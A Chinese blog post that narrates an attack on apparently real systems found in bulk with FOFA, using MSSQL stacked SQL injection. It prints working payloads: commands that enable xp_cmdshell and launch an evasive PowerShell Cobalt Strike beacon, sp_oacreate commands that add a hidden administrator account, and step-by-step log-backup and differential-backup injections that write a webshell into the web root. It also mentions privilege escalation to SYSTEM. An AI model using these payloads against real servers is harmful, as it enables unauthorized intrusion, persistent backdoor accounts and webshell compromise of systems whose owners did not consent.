记一次堆叠注入拿shell的总结

VSole2022-08-31 07:34:41

0x01 前言

菜鸡第一次实战中碰到mssql的堆叠注入,大佬们轻喷。本来对堆叠注入没啥了解,这次正巧碰到mssql的堆叠注入,正好加强一下对堆叠注入的理解。

0x02 堆叠注入

因为在sql查询语句中, 分号“;”代表查询语句的结束,所以在执行sql语句结尾分号的后面,再加一条sql语句,就造成了堆叠注入。

这种情况很像联合查询,他们的区别就在于联合查询执行的语句是有限的,只能用来执行查询语句,而堆叠注入可以执行任意语句。

菜鸡不会审计php代码,这里就不贴sql语句的源码了。

0x03 渗透过程

先fofa批量找一下目标

前台的页面,首先怼一波弱口令

其实有几个是可以弱口令直接进后台的,但是后台没有任何的getshell点

那就只能在后台的登录窗口试一试有没有注入了,抓包测试一下

发现有注入点,直接上sqlmap一把梭,直接出了mssql 数据库,而且是堆叠注入。

这里想直接 --os-shell,想起来堆叠注入后面的语句是没有回显的,再换个思路。

ping 下 dnslog 看看是否可以直接执行命令,看来是可以执行命令的

再换个思路,尝试用xp_cmdshell,手工打开xp_cmdshell ,发现函数没有被禁用 ,可以执行命令

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

尝试直接注入cs的powershell上线,好家伙,直接上线 ,看来函数没有被禁用

EXEC master..xp_cmdshell’免杀powershell命令’

甜土豆提权到system

连xp_cmdshell命令都没有禁用,想来也不会有什么杀软。

首先看了一下进程,emmm 那么多powershell进程......没有啥玩的必要了。可以尝试溯源一波,下篇文章发。

也没有内网,收工。

0x03 总结

这里这么顺利是因为没有杀软,命令也都没有拦截禁用,下面说一下如果xp_cmdshell被禁用该怎么办。

1. sp_configure函数

开启sp_configure函数的命令

EXEC sp_configure 'show advanced options', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'show advanced options', 0;

执行系统命令,注意没有回显,下面的命令添加一个影子用户并加入管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';

还有其他的函数,这里就不一一列举了。

注:很多情况上面两个函数并不能执行(存在杀软),mssql数据库可以用以下两个方法。

2. log备份写shell

前提条件:

数据库存在注入用户具有读写权限,一般至少DBO权限有网站的具体路径站库不分离

而且这种方法备份出的马子体积很小,备份成功的可能性很大。

利用步骤:
1.修改数据库为还原模式(恢复模式):;alter database 库名 set RECOVERY FULL –-2.建表和字段;create table orange(a image)--3.备份数据库;backup log 数据库名 to disk = ‘c:\www\0r@nge1.bak’ with init –4.往表中写入一句话;insert into orange(a) values (0x...)--    //值要进行hex进制转换下5.利用log备份到web的物理路径;backup log 数据库名 to disk = 'c:\www\0r@nge2.php' with init--6.删除表;Drop table orange--

3. 差异备份写shell

概念:备份自上一次完全备份之后有变化的数据。差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,也即备份后不标记为已备份文件。换言之,不清除存档属性。

用人话说就是:第二次备份的时候,与上一次完全备份的时候作对比,把不同的内容备份下来,所以只要插入我们的一句话木马,再备份一下,一句话就会被写到数据库中。

前提条件:

有网站具体路径有可写权限(dbo权限以上)站库不分离
利用步骤:
1.备份数据库;backup database 数据库名 to disk = 'C:\www\\...' with init --2.创建表格%';create table orange(a image) --3.写入webshell%';insert into orange(a) values (0xxxxx) --4.进行差异备份%';backup log 数据库名 to disk = 'C:\www\orange.asp'  WITH DIFFERENTIAL,FORMAT;--5.删除表;Drop table orange--

这些都是理论,实战中可能被各种过滤,还需要修改payload进行具体绕过。

ps:第一次发文章,有啥不对的师傅们可以指出来,一起学习(求轻喷)

数据库shell
本作品采用《CC 协议》,转载必须注明作者和本文链接
一款用Go语言编写的数据库自动化提权工具,支持Mysql、MSSQL、Postgresql、Oracle、Redis数据库提权、命令执行、爆破以及ssh连接等等功能。
0x01 前言之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payload拿shell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。
接着老毛病就犯了,上去就输入了个1查询接着输入了1’啧啧啧,这明显有SQL注入哇。果断掏出SQLMAP神器。结局很完美,不仅存在注入,还是DBA的权限。初步信息搜集既然拿到了shell,那么第一步肯定是信息搜集了。免杀shellcode完美上线这里我用的K8gege的 Ladon插件进行扫描内网得,主要扫描出来的结果格式比较好看。横向渗透&进一步信息搜集内网第一波那必须的是MS17-010了,这里我同样用K8gege的Ladon。
在所有漏洞类型中,SQL 注入可是说是危害最大最受大家关注的漏洞。简单说来,SQL 注入是通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。还是以 ThinkJS 为例,假设我们写了如下一个接口(实际情况肯定不会这么写的):
0x01 前言菜鸡第一次实战中碰到mssql的堆叠注入,大佬们轻喷。本来对堆叠注入没啥了解,这次正巧碰到mssql的堆叠注入,正好加强一下对堆叠注入的理解。0x02 堆叠注入因为在sql查询语句中, 分号“;”代表查询语句的结束,所以在执行sql语句结尾分号的后面,再加一条sql语句,就造成了堆叠注入。菜鸡不会审计php代码,这里就不贴sql语句的源码了。
MSSQL注入和漏洞利用姿势总结
基础介绍Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。判断数据库类型/*?数据库中独有的数据表,如果页面返回正常即可表示为?为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。
getshell学习总结
2022-06-07 08:05:41
上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
VSole
网络安全专家